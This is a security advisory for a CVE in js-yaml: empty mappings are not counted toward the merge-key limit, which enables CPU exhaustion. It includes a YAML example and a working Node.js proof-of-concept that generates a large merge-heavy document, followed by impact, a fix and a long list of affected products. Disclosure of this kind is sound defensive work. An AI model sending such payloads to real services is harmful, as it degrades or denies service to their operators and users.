CVE-2026-84375

About vulnerability

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
'  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Affected product:

Babel , Next.js , React , Vue , astro , babel-plugin-istanbul , config , cosmiconfig , css-loader , cssnano , electron-mocha , ember-cli , eslint , eslint-community/eslint-utils , eslint-import-resolver-typescript , eslint-plugin-es , eslint-plugin-import , eslint-plugin-jest , eslint-plugin-jest-dom , eslint-plugin-jsx-a11y , eslint-plugin-node , eslint-plugin-react , eslint-plugin-testing-library , eslintrc , fork-ts-checker-webpack-plugin , gp-js-client , gray-matter , grunt , grunt-karma , hey-api , hey-api-client-fetch , js-yaml , json-schema-ref-parser , lerna , load-nyc-config , load-yaml-file , loopback , loopback-connector , loopback-connector-remote , loopback-datasource-juggler , loopback-phase , metro , microsoft-api-documenter , middleware , mocha , modern.js , monorepo , nuxt , open-wc-testing-karma , open-wc-testing-karma-bs , postcss-load-config , postcss-load-options , postcss-load-plugins , postcss-loader , postcss-svgo , preferred-pm , read-yaml-file , remark-mdx-frontmatter , remix , rushstack-lockfile-explorer , sanity , sanity-cli , sdk-typescript , sentry-browser , strong-globalize , strong-remoting , svgo , swagger , swagger-js , tapjs , testem , tslint , tslint-consistent-codestyle , typescript-eslint , vercel , vercel-frameworks , vercel-fs-detectors , vercel-python-analysis , verdaccio , wdio-mocha-framework , which-pm , wotan

Affected packages:

js-yaml @ 4.1.1 (+575 more)